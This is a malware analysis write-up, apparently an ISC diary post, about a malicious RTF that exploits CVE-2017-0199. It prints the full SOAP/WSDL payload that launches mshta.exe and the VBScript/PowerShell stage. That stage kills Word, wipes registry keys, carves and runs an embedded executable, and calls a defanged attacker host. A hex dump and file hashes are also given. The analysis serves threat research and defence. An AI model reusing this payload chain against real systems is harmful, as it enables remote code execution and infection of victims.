Here is another sample that I found in my spam trap. The technique to infect the victim's computer is interesting. I captured a mail with a malicious RTF document (SHA256: c247929d3f5c82247db9102d2dec28c27f73dc0824f8b386f92aad1a22fd8edd)[1] that exploits the OLE2Link vulnerability (CVE-2017-0199[2]). Once opened, the document fetches the following URL:

hxxp://newsshopper[.]info/news/tp.php?thread=0

It returns the XML content:

<definitions
    xmlns="http://schemas.xmlsoap.org/wsdl/";
    xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/";
    xmlns:suds="http://www.w3.org/2000/wsdl/suds";
    xmlns:tns="http://schemas.microsoft.com/clr/ns/System";
    xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">;
    <portType name="PortType"/>
    <binding name="Binding" type="tns:PortType">
        <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>;
        <suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>
    </binding>
    <service name="Service">
        <port name="Port" binding="tns:Binding">
            <soap:address location="http://localhost_C:\Windows\System32\mshta.exe_hxxp://newsshopper[.]info/news/t.php?thread=0"/>;
                        <soap:address location="\\;\\;
                                System.Diagnostics.Process.Start(_url.Split('_')[1], _url.Split('_')[2]);
                         //"/>
        </port>
    </service>

This XML code spawns the mshta.exe to grab a second URL that returns an obfuscated VBA script:

(Note: the script has been beautified for better readability)

<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Dim o,kw,cr1,cr2,ps,d,l,r,wv
Set o = CReAtEOBJECt(WsCriPt.SHeLL)
wd=o.expAnDenvIRonMEnTStrings(%sYStemROOt%)

ps= wd & "\sYSteM32\windowspowershell\v1.0\powershell.exe -WindowStyle Hidden "
kw = "taskkill /f /im winword.exe;"
d="$"
l="["
r="]"
cr1="ri -Path """"""HKCU:\Software\Microsoft\Office\"
cr2="\Word\Resiliency"""""" -recurse;"

o.run ps "
Try
{
  $ada="$env:APPDATA\result.exe"
  $adax=$ada+'x'
  $f=[System.IO.File]::Create($adax)
  $tmf="$env:TEMP\o.tmp"
  taskkill /f /im winword.exe

  Function pr
  {
      Try
      {
          $k="HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency\StartupItems\";
          for ($i = 0; $i -lt 10; $i++)
          {
              $r=[System.Text.Encoding]::Unicode.GetString((Get-ItemProperty $k).((Get-Item $k).Property[$i]));
              if ($r.Contains('.doc'))
              {
                  $i=10;
              }
          }
          $r=$r.Substring($r.indexOf(':\')-1);
          $r=$r.Substring(0, $r.IndexOf('.doc')+4);
          Remove-Item -Path "HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency" -recurse;
          Copy-Item -Path $r -Destination $tmf;
          $d = (Get-Content $tmf -ReadCount 0 -encoding byte)[1736901..1757380];
          Start-Sleep -s 1;
          Set-Content $r -encoding byte -Value $d;
          start winword "$r";
          $f = (Get-Content $tmf -ReadCount 0 -encoding byte)[62654..1736893];
          Set-Content $ada -encoding byte -Value $f;
          &$ada;
          $wc = New-Object system.Net.WebClient;
          $ht=$wc.downloadString('hxxp://newsshopper[.]info/news/t.php?act=hit');
          $cd=(Resolve-Path .\).Path
          Remove-Item " $cd\*" -include http*.pdb, http*.dll, *.cs;" & "
      }
      Catch
      {
      }
  };
  $wv='12.0';
  pr;
  $wv='14.0';
  pr;
  $wv='15.0';
  pr;"
  $wv='16.0';
  pr;
  Stop-Process -processname powershell;
}
Catch{
  exit;
}",0,true
self.close
</script>

Basically, what the script does:

It kills the existing winword.exe processes. For different versions of Microsoft Office (from 12.0 to 16.0), it scans the latest opened documents and extracts the one that was just opened. From the original document, another one is extracted at offset 1736901 (0x1A80C5) and a new Word instance is spawned to display it. It's just a simple form, not malicious (SHA256: c73573f83fe53cb076c5cc1156c1356f4e92424a9f1824511327fcf4dfc70c79). In parallel, the original is also padded with a PE file starting at offset 62654 (0xF4BE):

0000f4b0  69 6f 6e 68 69 67 68 ba  ba ba ba ba ba ba 4d 5a  |ionhigh.......MZ|
0000f4c0  90 00 03 00 00 00 04 00  00 00 ff ff 00 00 b8 00  |................|
0000f4d0  00 00 00 00 00 00 40 00  00 00 00 00 00 00 00 00  |......@.........|
0000f4e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
0000f4f0  00 00 00 00 00 00 00 00  00 00 00 01 00 00 0e 1f  |................|
0000f500  ba 0e 00 b4 09 cd 21 b8  01 4c cd 21 54 68 69 73  |......!..L.!This|
0000f510  20 70 72 6f 67 72 61 6d  20 63 61 6e 6e 6f 74 20  | program cannot |
0000f520  62 65 20 72 75 6e 20 69  6e 20 44 4f 53 20 6d 6f  |be run in DOS mo|
0000f530  64 65 2e 0d 0d 0a 24 00  00 00 00 00 00 00 7e 04  |de....$.......~.|
0000f540  fc 49 3a 65 92 1a 3a 65  92 1a 3a 65 92 1a 8e f9  |.I:e..:e..:e....|
0000f550  63 1a 33 65 92 1a 8e f9  61 1a 40 65 92 1a 8e f9  |c.3e....a.@e....|
0000f560  60 1a 22 65 92 1a 01 3b  91 1b 28 65 92 1a 01 3b  |`."e...;..(e...;|
0000f570  96 1b 28 65 92 1a 01 3b  97 1b 1f 65 92 1a 33 1d  |..(e...;...e..3.|
0000f580  01 1a 3f 65 92 1a 3a 65  93 1a 58 65 92 1a a8 3b  |..?e..:e..Xe...;|
0000f590  97 1b 3b 65 92 1a a8 3b  6d 1a 3b 65 92 1a a8 3b  |..;e...;m.;e...;|
0000f5a0  90 1b 3b 65 92 1a 52 69  63 68 3a 65 92 1a 00 00  |..;e..Rich:e....|
0000f5b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 50 45  |..............PE|
0000f5c0  00 00 4c 01 06 00 5e 2a  ff 59 00 00 00 00 00 00  |..L...^*.Y......|
0000f5d0  00 00 e0 00 02 01 0b 01  0e 00 00 b8 03 00 00 5c  |...............\|

The file is extracted and executed (SHA256: a561c28196d1736345e1dc49edc97d3f8499236da2e92f4da97ff307de3d1db8).

The VBA script also downloads another PE file (SHA256: 2cb8b35ca2c74fae08d4fa319a86e12d7a90860bafc8276394359f9fc704874f) but it seems to be unused(?). 

[1] https://www.virustotal.com/#/file/c247929d3f5c82247db9102d2dec28c27f73dc0824f8b386f92aad1a22fd8edd/detection
[2] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key